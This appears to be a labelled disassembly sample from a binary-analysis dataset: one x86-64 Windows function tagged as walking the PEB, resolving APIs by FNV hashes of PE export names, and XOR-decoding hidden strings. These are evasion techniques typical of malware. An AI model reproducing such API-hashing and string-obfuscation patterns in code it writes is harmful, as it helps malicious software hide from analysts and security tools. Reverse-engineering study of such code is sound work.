Function at 0x14003f010
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rax, qword [0x140090040]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword gs:[0x60]
mov r15, rcx
mov qword [rsp + 0x70], rcx
mov rcx, qword [rax + 0x18]
mov r12, qword [rcx + 0x10]
mov r14, r12
nop dword [rax]
nop dword [rax + rax]
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x14003f0f8
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x14003f0f8
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
mov r9d, 0x811c9dc5
lea rax, [rdi + r10*4]
mov r8d, dword [rax + r11]
add r8, r11
movzx eax, byte [r8]
inc r8
test al, al
je 0x14003f0f3
nop
movsx ecx, al
lea r8, [r8 + 1]
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
movzx eax, byte [r8 - 1]
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
test al, al
jne 0x14003f0c0
cmp r9d, 0xe95da064
je 0x14003f504
test r10d, r10d
jne 0x14003f0a0
mov rax, qword [r14]
mov r14, rax
cmp rax, r12
je 0x14003f10e
cmp qword [rax + 0x30], 0
jne 0x14003f070
xor ebx, ebx
mov r10d, ebx
mov eax, dword [0x1400818d8]
mov r8d, ebx
movups xmm1, xmmword [0x1400818c8]
mov r13d, dword [0x140090090]
mov dword [rbp - 0x60], eax
movzx eax, word [0x1400818dc]
mov word [rbp - 0x5c], ax
movaps xmmword [rsp + 0x2d0], xmm6
movups xmm0, xmmword [0x1400818b8]
movups xmmword [rbp - 0x70], xmm1
movups xmmword [rbp - 0x80], xmm0
cmp r13d, 2
jl 0x14003f289
movdqa xmm5, xmmword [0x140084890]
lea rcx, [rbp - 0x80]
movdqa xmm4, xmmword [0x140084990]
movdqa xmm6, xmmword [0x1400848b0]
movaps xmmword [rsp + 0x2c0], xmm7
movdqa xmm7, xmmword [str.44444444]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x10
jl 0x14003f190
movaps xmm7, xmmword [rsp + 0x2c0]
cmp r8d, 0x13
jge 0x14003f2d5
movsxd rax, r8d
lea r9, [rbp - 0x80]
lea r9, [r9 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x34
xor word [r9 - 2], ax
cmp r8d, 0x13
jl 0x14003f2a0
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
lea rcx, [rbp - 0x80]
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call r10
mov qword [rsp + 0x70], rax
cmp rax, 0xffffffffffffffff
jne 0x14003f523
cmp byte [0x140084413], 0
movups xmm0, xmmword [str.rT____]
mov eax, dword [0x140084410]
mov dword [rsp + 0x58], eax
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x140084408]
movsd qword [rsp + 0x50], xmm0
je 0x14003f4d1
mov r8d, ebx
cmp r13d, 2
jl 0x14003f487
movdqa xmm0, xmmword [0x140084970]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140084890]
movdqa xmm4, xmmword [0x140084990]
movdqa xmm6, xmmword [0x1400848b0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14003f380
cmp r8d, 0x1c
jge 0x14003f4d1
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x14003f4a0
xorps xmm0, xmm0
lea rax, [rsp + 0x40]
movups xmmword [r15], xmm0
mov qword [r15 + 0x10], rbx
mov r8, 0xffffffffffffffff
mov qword [r15 + 0x18], rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14003f4f0
lea rdx, [rsp + 0x40]
jmp 0x14003fa0f
mov ecx, dword [rsi + 0x24]
add rcx, r11
movzx edx, word [rcx + r10*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov r10d, dword [rcx + rdx*4]
add r10, r11
xor ebx, ebx
jmp 0x14003f113
xor edx, edx
lea rcx, [rbp - 0x50]
mov r8d, 0x200
call fcn.14006ec30
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r12, qword [rcx + 0x10]
mov r14, r12
nop dword [rax + rax]
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x14003f5da
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x14003f5da
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
mov r9d, 0x811c9dc5
lea rax, [rdi + r10*4]
mov r8d, dword [rax + r11]
add r8, r11
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x14003f5d5
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x14003f5a0
cmp r9d, 0x84aec1ca
je 0x14003f814
test r10d, r10d
jne 0x14003f580
mov rax, qword [r14]
mov r14, rax
cmp rax, r12
je 0x14003f5f0
cmp qword [rax + 0x30], 0
jne 0x14003f550
xor ebx, ebx
mov eax, ebx
mov rcx, qword [rsp + 0x70]
lea r9, [rbp - 0x54]
mov r8d, 0x200
mov qword [rsp + 0x20], rbx
lea rdx, [rbp - 0x50]
call rax
mov r8d, ebx
test eax, eax
jne 0x14003f832
mov eax, dword [0x1400843c8]
mov dword [rsp + 0x58], eax
movzx eax, word [0x1400843cc]
mov word [rsp + 0x5c], ax
movzx eax, byte [0x1400843ce]
mov byte [rsp + 0x5e], al
movups xmm0, xmmword [0x1400843b0]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x1400843c0]
movsd qword [rsp + 0x50], xmm0
cmp r13d, 2
jl 0x14003f797
movdqa xmm0, xmmword [0x140084970]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140084890]
movdqa xmm4, xmmword [0x140084990]
movdqa xmm6, xmmword [0x1400848b0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14003f690
cmp r8d, 0x1f
jge 0x14003f7e1
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1f
jl 0x14003f7b0
xorps xmm0, xmm0
lea rax, [rsp + 0x40]
movups xmmword [r15], xmm0
mov qword [r15 + 0x10], rbx
mov r8, 0xffffffffffffffff
mov qword [r15 + 0x18], rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14003f800
lea rdx, [rsp + 0x40]
jmp 0x14003fa0f
mov ecx, dword [rsi + 0x24]
add rcx, r11
movzx edx, word [rcx + r10*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rcx + rdx*4]
add rax, r11
xor ebx, ebx
jmp 0x14003f5f4
movzx eax, byte [0x1400843f0]
mov byte [rsp + 0x60], al
movups xmm0, xmmword [str.g_UT_JI_IQRF__._7h]
movups xmm1, xmmword [0x1400843e0]
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
cmp r13d, 2
jl 0x14003f997
movdqa xmm0, xmmword [0x140084970]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140084890]
movdqa xmm4, xmmword [0x140084990]
movdqa xmm6, xmmword [0x1400848b0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140084950]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x14003f890
cmp r8d, 0x21
jge 0x14003f9e1
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x14003f9b0
xorps xmm0, xmm0
lea rax, [rsp + 0x40]
movups xmmword [r15], xmm0
mov qword [r15 + 0x10], rbx
mov r8, 0xffffffffffffffff
mov qword [r15 + 0x18], rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14003fa00
lea rdx, [rsp + 0x40]
mov rcx, r15
call fcn.1400055d0
movaps xmm6, xmmword [rsp + 0x2d0]
mov rax, r15
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140049190
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret